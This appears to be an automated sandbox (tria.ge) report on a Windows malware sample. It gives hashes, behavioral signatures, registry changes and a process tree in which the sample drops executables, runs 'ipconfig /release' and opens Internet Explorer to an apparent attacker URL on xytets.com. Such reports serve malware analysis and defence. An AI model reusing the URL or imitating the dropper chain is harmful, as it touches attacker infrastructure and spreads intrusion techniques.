Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
147s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
19/09/2022, 03:33
Static task
static1
Behavioral task
behavioral1
Sample
48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe
Resource
win10v2004-20220812-en
General
-
Target
48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe
-
Size
361KB
-
MD5
3330dff3bb8dd353c16ee716753c8287
-
SHA1
5896aa699c878b101f787b2f1ce9a7c001bca55f
-
SHA256
48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359
-
SHA512
3e9485665d5ffe795a171634374f0558affdabeb823d52299b879212e233c5b70c5563b476c9c1df79ac5f6557a1b986a9683f1a7f6f4aefc0f7fc5c282b5697
-
SSDEEP
6144:8flfAsiL4lIJjiJcbI03GBc3ucY5DCSjX:8flfAsiVGjSGecvX
Malware Config
Signatures
-
Executes dropped EXE 4 IoCs
pid Process 1948 cxtpldrnjeathcyu.exe 612 CreateProcess.exe 432 rolheauqnk.exe 1100 CreateProcess.exe -
Loads dropped DLL 4 IoCs
pid Process 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 1948 cxtpldrnjeathcyu.exe 1948 cxtpldrnjeathcyu.exe 432 rolheauqnk.exe -
Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 1552 ipconfig.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e0f3d159765a7f43b6bf060b4b70c9a30000000002000000000010660000000100002000000004400fd4c5c2447756bff27fbc265fe03339a2b6510edaf9e3ff92f067eff554000000000e8000000002000020000000b36434c5004b37c33a03877a8f486b1781d9e707cb00f7de7e408ea2fdf2305d20000000c991b37a59e76f8e3b3d408eba6c7dc90e522b971f584f9ed79111083ee0564840000000e9539aa615396595437fc4e0b63e83b43197efa254e41314358d30f565462cefe86af15b15437afa146f52a2a87d502015935ac5dab2ee41df4d6906f3f06028 iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e0f3d159765a7f43b6bf060b4b70c9a30000000002000000000010660000000100002000000065d54495b108074df3778ea6ed90ac90f069a2b307e5ddebc6c1b342a87c2bdf000000000e8000000002000020000000fb80ad1ec14fee8941019b3a890831bdb87a0f6264c70c4e0ec6bc47ff09746690000000bab12cdda8aad510a6f4d8923bee489da1da956285ba498796b711781770f21fbc867f20c8133a2912fae99e507747b6abcdbe74bb15928dc837d9f4d3be1c18d9b9428f523847b247da8656364de4bb2f7df5954a4d83df00b8dd5366798e654050ac0c2561a39ff7bf6642943da18fda74b6c4405b142b902f54b0fc20e27ee60983282fb6c896add63b1b6d4d652040000000b1c3358285c97903f41d80151a7dba736232c082fb6d99bfce813082f3bae689920c9673d933c3d45ddf940d53d76ef10b85c1027e46664e72f197757b61296e iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{8FF88290-37E8-11ED-991C-C6F54D7498C3} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 70217d6ef5cbd801 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe -
Suspicious behavior: EnumeratesProcesses 42 IoCs
pid Process 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 1948 cxtpldrnjeathcyu.exe 1948 cxtpldrnjeathcyu.exe 1948 cxtpldrnjeathcyu.exe 1948 cxtpldrnjeathcyu.exe 1948 cxtpldrnjeathcyu.exe 1948 cxtpldrnjeathcyu.exe 1948 cxtpldrnjeathcyu.exe 432 rolheauqnk.exe 432 rolheauqnk.exe 432 rolheauqnk.exe 432 rolheauqnk.exe 432 rolheauqnk.exe 432 rolheauqnk.exe 432 rolheauqnk.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 460 Process not Found -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1528 iexplore.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 1528 iexplore.exe 1528 iexplore.exe 1700 IEXPLORE.EXE 1700 IEXPLORE.EXE 1700 IEXPLORE.EXE 1700 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 532 wrote to memory of 1948 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 27 PID 532 wrote to memory of 1948 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 27 PID 532 wrote to memory of 1948 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 27 PID 532 wrote to memory of 1948 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 27 PID 532 wrote to memory of 1528 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 28 PID 532 wrote to memory of 1528 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 28 PID 532 wrote to memory of 1528 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 28 PID 532 wrote to memory of 1528 532 48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe 28 PID 1528 wrote to memory of 1700 1528 iexplore.exe 30 PID 1528 wrote to memory of 1700 1528 iexplore.exe 30 PID 1528 wrote to memory of 1700 1528 iexplore.exe 30 PID 1528 wrote to memory of 1700 1528 iexplore.exe 30 PID 1948 wrote to memory of 612 1948 cxtpldrnjeathcyu.exe 32 PID 1948 wrote to memory of 612 1948 cxtpldrnjeathcyu.exe 32 PID 1948 wrote to memory of 612 1948 cxtpldrnjeathcyu.exe 32 PID 1948 wrote to memory of 612 1948 cxtpldrnjeathcyu.exe 32 PID 432 wrote to memory of 1100 432 rolheauqnk.exe 34 PID 432 wrote to memory of 1100 432 rolheauqnk.exe 34 PID 432 wrote to memory of 1100 432 rolheauqnk.exe 34 PID 432 wrote to memory of 1100 432 rolheauqnk.exe 34
Processes
-
C:\Users\Admin\AppData\Local\Temp\48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe"C:\Users\Admin\AppData\Local\Temp\48fd662090422075c969cba7e9bb931105d50ce3e7369834e86890fb08df4359.exe"1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:532 -
C:\Temp\cxtpldrnjeathcyu.exeC:\Temp\cxtpldrnjeathcyu.exe run2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1948 -
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rolheauqnk.exe ups_run3⤵
- Executes dropped EXE
PID:612 -
C:\Temp\rolheauqnk.exeC:\Temp\rolheauqnk.exe ups_run4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:432 -
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
PID:1100 -
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
PID:1552
-
-
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1528 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1528 CREDAT:275457 /prefetch:23⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1700
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5d0bc79e37348f260253b6d22bdcf7825
SHA19802ff19aa6196b8b2b7f2c33ce6d112c78c65b1
SHA256810c4dc8f34cc59229914f03b2cfa8f6fb0526ffef13ca776fba8f10d0d64344
SHA512bc0415998241bc288738feff8437337119dbaeb5b5471ed0109a8c5d6e185a4fc66bf3dd9d2f6c8f9dd5fc6ac31f7de746b86808deeae2c8ad3634322fca8d29
-
Filesize
3KB
MD5d0bc79e37348f260253b6d22bdcf7825
SHA19802ff19aa6196b8b2b7f2c33ce6d112c78c65b1
SHA256810c4dc8f34cc59229914f03b2cfa8f6fb0526ffef13ca776fba8f10d0d64344
SHA512bc0415998241bc288738feff8437337119dbaeb5b5471ed0109a8c5d6e185a4fc66bf3dd9d2f6c8f9dd5fc6ac31f7de746b86808deeae2c8ad3634322fca8d29
-
Filesize
361KB
MD50e79161b4b04056c3669ae38c9ddf7c8
SHA1d15c043eebc3c6b48804e7281035abe4746483fd
SHA2563f52a7e18c301145759087bca0e25f84da1b3a8134a8520ea232fd50aa175291
SHA5127193607ff258ea73f727c84d154fc428e8cd027ff45e4975568703e8a7d07e0816e8e43827db3151f8204c2d5b10ea63c81ae48e3156d959651456eff7c195db
-
Filesize
361KB
MD50e79161b4b04056c3669ae38c9ddf7c8
SHA1d15c043eebc3c6b48804e7281035abe4746483fd
SHA2563f52a7e18c301145759087bca0e25f84da1b3a8134a8520ea232fd50aa175291
SHA5127193607ff258ea73f727c84d154fc428e8cd027ff45e4975568703e8a7d07e0816e8e43827db3151f8204c2d5b10ea63c81ae48e3156d959651456eff7c195db
-
Filesize
361KB
MD508b95a0045da6221786c4c6d157ac7ec
SHA15bb3b92a685990c0cb5db8287178b8c161a2e836
SHA256dd433487287ffb70c51c24a09f0096490431e958a9f1c78ad58e45fe5c8c9a69
SHA512aa77e41bb203014c07837d0f15b1a0cf8966ae51a0bb2a6b0f0f114aded243c14207464af475cb19b075e6ca10e1cb07b08d06512a14fdb3e3e13763526b3040
-
Filesize
3KB
MD5d0bc79e37348f260253b6d22bdcf7825
SHA19802ff19aa6196b8b2b7f2c33ce6d112c78c65b1
SHA256810c4dc8f34cc59229914f03b2cfa8f6fb0526ffef13ca776fba8f10d0d64344
SHA512bc0415998241bc288738feff8437337119dbaeb5b5471ed0109a8c5d6e185a4fc66bf3dd9d2f6c8f9dd5fc6ac31f7de746b86808deeae2c8ad3634322fca8d29
-
Filesize
3KB
MD5d0bc79e37348f260253b6d22bdcf7825
SHA19802ff19aa6196b8b2b7f2c33ce6d112c78c65b1
SHA256810c4dc8f34cc59229914f03b2cfa8f6fb0526ffef13ca776fba8f10d0d64344
SHA512bc0415998241bc288738feff8437337119dbaeb5b5471ed0109a8c5d6e185a4fc66bf3dd9d2f6c8f9dd5fc6ac31f7de746b86808deeae2c8ad3634322fca8d29
-
Filesize
3KB
MD5d0bc79e37348f260253b6d22bdcf7825
SHA19802ff19aa6196b8b2b7f2c33ce6d112c78c65b1
SHA256810c4dc8f34cc59229914f03b2cfa8f6fb0526ffef13ca776fba8f10d0d64344
SHA512bc0415998241bc288738feff8437337119dbaeb5b5471ed0109a8c5d6e185a4fc66bf3dd9d2f6c8f9dd5fc6ac31f7de746b86808deeae2c8ad3634322fca8d29
-
Filesize
3KB
MD5d0bc79e37348f260253b6d22bdcf7825
SHA19802ff19aa6196b8b2b7f2c33ce6d112c78c65b1
SHA256810c4dc8f34cc59229914f03b2cfa8f6fb0526ffef13ca776fba8f10d0d64344
SHA512bc0415998241bc288738feff8437337119dbaeb5b5471ed0109a8c5d6e185a4fc66bf3dd9d2f6c8f9dd5fc6ac31f7de746b86808deeae2c8ad3634322fca8d29
-
Filesize
361KB
MD50e79161b4b04056c3669ae38c9ddf7c8
SHA1d15c043eebc3c6b48804e7281035abe4746483fd
SHA2563f52a7e18c301145759087bca0e25f84da1b3a8134a8520ea232fd50aa175291
SHA5127193607ff258ea73f727c84d154fc428e8cd027ff45e4975568703e8a7d07e0816e8e43827db3151f8204c2d5b10ea63c81ae48e3156d959651456eff7c195db